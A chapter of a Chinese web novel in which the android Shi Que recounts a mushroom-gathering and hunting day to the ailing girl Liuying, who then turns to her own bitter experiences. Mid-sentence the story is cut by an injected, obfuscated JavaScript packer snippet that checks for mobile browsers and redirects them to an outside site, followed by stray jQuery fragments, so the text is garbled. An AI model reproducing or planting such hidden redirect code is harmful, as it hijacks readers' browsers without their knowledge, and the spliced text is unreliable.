它被压出了些褶皱,有点儿皱巴巴的,因以鱼、波浪、飞鸟和白云作点缀装饰,这会它一动起来,乍看之下给人以鱼追着波浪游、飞鸟追逐白云的奇特感觉。 流萤的这身白色针织裙,时却见过两个晚上了,她没话找话: “我早想说了,你这裙子挺好看。” “这是……很久以前,有个人送我的,”流萤说,“我休息的时候喜欢穿它。” 她清清嗓子:“奇奇,开机。” 高大的德牧耳朵一抖醒来,立腿站起,发出滞涩的机械缺少润滑油的声音,摇着尾巴踱到流萤身边。 流萤令奇奇躺下,自己枕着奇奇缓慢起伏的腹部,手搭在柔软的毛毯上,面色还有些酡红。 时却以手支着下巴,弓着腰,问流萤是否想听自己给她讲讲今天的经历。 一如既往地,流萤说好。 外头的风暂歇,四下静谧。时却开始她的讲述。 时却组织了下语言,先从一早的景色说起。 她讲,等沈司奥起床时,她手贱地去抓结霜了的草茎,那触感形同去碾一碗刚炒好的冰沙。 沈司奥适时地插进一句抱怨:“大冷天的,能换个形容吗?” 时却不睬他,并当场报复: “还有,你沈哥精致的地方多了去了,睡出呆毛后,拿水压头发的手法堪称一绝。” 沈司奥:“……这叫早起整理仪容仪表。” 流萤莞尔一笑。 时却暗自松口气,兴致勃勃地谈起挖腐烂菇时的见闻: “得戴过滤器,戴上后人鼻子变猪鼻子。” “这个天气,腐烂菇采摘起来很冻手。”她投影出区外地图的腐烂菇条目,配图说明。 “得拿手刨松了周边的土,手一插一拢,囫囵着先弄出来,过后再仔细地清理泥土。” “有些腐烂菇长得很标准,一个伞面型的菌盖,一条伞杆似的菌柄。这种清理泥土起来最简单,不用收力。” 她挥动手臂,在空气中划出相应的动作和形状。 “有些菌杆部分长得弯弯绕绕,或上边东凸一块西凸一块,一不小心能给碰坏。” 她说得生动,流萤以倒映着灯光的眼睛看着她,也听得认真。 “姐,你们采了一天的腐烂菇?” “没有,”时却含糊道,不打算在讲述中说到白天那男孩的事情,“后来,我们进到了一个穿地兽的巢穴里,你知道穿地兽吗,我调出来给你瞧……” 等讲到两只穿地兽相交叠着死去的部分,她还没来得及说出更进一步的信息,少女就转脸埋进了奇奇温暖的腹部中。 “它们都受重伤了吧。”她轻声道。 “该不会……是上面的穿地兽压死了下面的穿地兽,然后自己也死了?” 流萤蹭蹭德牧柔软的皮毛,仿佛有些发冷,上拉毯子盖住肩头。 她叹息般地看着时却说: “下面那只穿地兽真傻,它走开,不去管另一只穿地兽,也许自己就能活下来了。” 时却吃惊于流萤歪打正着地猜到了真相,同时还更惊异于,少女从没在她讲述狩猎过程中,说出过这样偏负面的话。 这是……怎么了? 时却原以为少女不如前两次倾听时那样雀跃,是因为身体不太舒服的缘故——如果由外伤导致了发烧,治疗仪不会连带发烧一起治愈。 而现在,她隐约感觉到,这是什么事情发生的前兆。 【也许不该租那个治疗仪。往后几天,照常来探病就是了。】 不知为何,这样的想法气泡般咕咚浮现,在时却还没来得及深入琢磨时,便啪地一声破裂了。 她上前给流萤掖好毯子的边角,后者沉默地避开她的目光,全程没有和她对视。 “压死的那部分,你猜得很对。” 流萤说:“因为我见过很多那样的事情。” 时却尽量维持着神情的自然。 她盯着流萤从毛毯侧边露出的一点裙摆,凝视着上面的鱼、波浪、飞鸟和白云。 “我再讲讲之后的事——” “姐,”流萤打断她,“你不好奇我都碰见过什么吗?” “可我还没说完。”时却的语调干巴巴得她本人都吃了一惊。 流萤身出只胳膊压在毛毯上,有一下没一下地去摸毛毯的表面。 过了一会,她说:“好,等你讲完。” 外界,风不安分地再度刮了起来,不算大,却持续不断地朝帐篷内丝丝地渗入寒气。 再次开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985968|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始述说,时却完全更换了讲述的风格。 她不再注重生动形象,语言不再偏向富有画面感。她的形容和描述变得更偏向于琐碎,巨细靡遗。 她讲自己往干草上涂抹凡士林时悟出的小技巧,讲齐姐布置陷阱圈的细节,讲花藤步入火圈后在场每个人的行动,讲她和蒋云霞是如何解决埋伏的藤蔓。 她打了好几个磕巴,讲扑进火焰里的自己。 她绞尽脑汁,甚至还提到了不久前散步时看到的一切,说身上飘着玉兰花香气的少女,娇憨地和哥哥撒娇。 但故事终有尽时。 她终于穷途末路,变成一只干瘪的口袋,再无可以往外倾倒的东西。 于是呼呼风声,顺理成章地成为她和流萤之间流淌着的唯一响动。 沉默半晌,时却不安地说:“好了,该你了,你碰见过什么?” 流萤却没有第一时间开口,反而以仰视的姿态,仔细地打量了时却一番。 她的这位客人盘腿坐着,虽然自上而下地看她,背部却佝偻着,无意识地、极尽所能地降低了视线的高度,高大的身体在她狭小的帐篷里可怜巴巴地缩成一团。 我再不会碰上这样的人了。流萤想。 是啊,所以要抓紧。一个小小的声音险恶地在她的耳畔呢喃。 你长得可怜又可爱,它说,你知道一个妙龄少女枕在一只高大的德牧身上,双颊微红,楚楚可怜,会形成怎样的风景。 你快要抓住这个人了,它说,她喜欢你,她又傻又呆,她一无所知。 她越和你接触,就越想照顾你。 该怎么做,这不是很显然的事情吗?它说,抓住她,攫取她,缠绕她。 可当她不慎受伤,当她病情恶化,当她捉襟见肘……流萤浑浑噩噩地想。 她要被我这样的人抓在原地,动弹不得,攫取营养,缠绕着无法前行吗? 或者,当她不再那么慷慨地怜悯我—— 外界的冷风拍打着帐篷布,从外向内;帐篷内漫入的冷风毫不示弱,也间歇地鼓动帐篷布,从内往外。 这两者你争我抢。 流萤浑身上下的每一寸肌肤,连带着每一寸肌肤下流淌的每一滴血液,近乎要冻结成冰碴。 我再不会碰上这样的人了,最终,流萤悲哀地想。 她张了张嘴,还没说话,口舌之间舔到浓郁的铁锈气味。 她摸了一下,是块干巴的嘴皮在上下唇分开时被撕开了。 少女吮吸掉所有随之涌出的血液,做了决定,用不容置喙的眼神将眼前的紫蝎钉死在原地。 这眼神形同一道惊雷劈下,劈得时却悚然一个激灵。 时却忽然回忆起很多事情,全是记忆里独属于流萤的片段。 她买不到救命的药,干脆拿钱去雇人教训凌/辱自己的混混。 她扑进无人的小巷,和持刀的混混拉扯。 她宁愿以交易的姿态来买自己去杀人,也不屑于装可怜。 她明知大概率不能成功,手头也无足够的报酬,却还为细雨拼尽全力地找人去对抗壁虎。 仿生人真正像个脑子有病的家伙一样,愚钝地回忆起来,眼前的少女,她其实相当倔强。 仿生人的目光和少女的目光碰在一起,后者丝毫没有闪躲,黑色的瞳孔上倒映而出的斑点状惨白灯光,仿若某种冰冷燃烧的火焰。 维持着仰视时却的姿势,流萤缓缓开口: “我碰见的事情……” “净是有人作为累赘,去拖垮、毁了别人一辈子的事情。”